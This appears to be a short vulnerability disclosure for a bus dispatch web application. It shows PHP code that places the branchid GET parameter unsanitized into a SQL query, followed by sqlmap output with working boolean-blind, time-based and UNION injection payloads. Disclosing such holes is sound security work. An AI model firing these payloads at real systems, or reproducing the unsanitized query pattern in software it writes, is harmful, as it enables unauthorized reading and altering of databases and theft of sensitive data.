

Bus Dispatch and Information System in view_branch has Sql injection vulnerabilities

Bus Dispatch and Information System has Sql injection vulnerabilities. The vulnerability is located in the branchid parameter of the view_branch.php file. The attacker can read and write arbitrarily to the database and obtain sensitive data without logging in the background.

```
<?php
    $id=$_GET['branchid'];
    $result1 = mysql_query("SELECT * FROM branch WHERE branchid='$id'");
    while($row1 = mysql_fetch_array($result1)){
        ?>
        <tr>
            <td><?php echo $row1['branch_location']; ?></td>
            <td class="center">
                <span class="label label-success"><?php echo $row1['date_added']; ?></span>
            </td>
        </tr>
    </tbody>
<?php } ?>
</table>
</div>
</div><!--/span-->
```

```

GET parameter 'branchid' is vulnerable. Do you want to keep testing the others (if any)? [Y/N]
sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
----
Parameter: branchid (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: branchid=1' AND 1985=1985 AND 'zMwr'='zMwr

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: branchid=1' AND (SELECT 9437 FROM (SELECT(SLEEP(5))))XpaE) AND 'SpCC'='SpCC

  Type: UNION query
  Title: Generic UNION query (NULL) - 3 columns
  Payload: branchid=1' UNION ALL SELECT NULL,CONCAT(0x7170716b71,0x6a656d654762786965594f59614c455872734e51674e494e525359596c467659774741656f5a5241,0x7171767071),NULL-- -
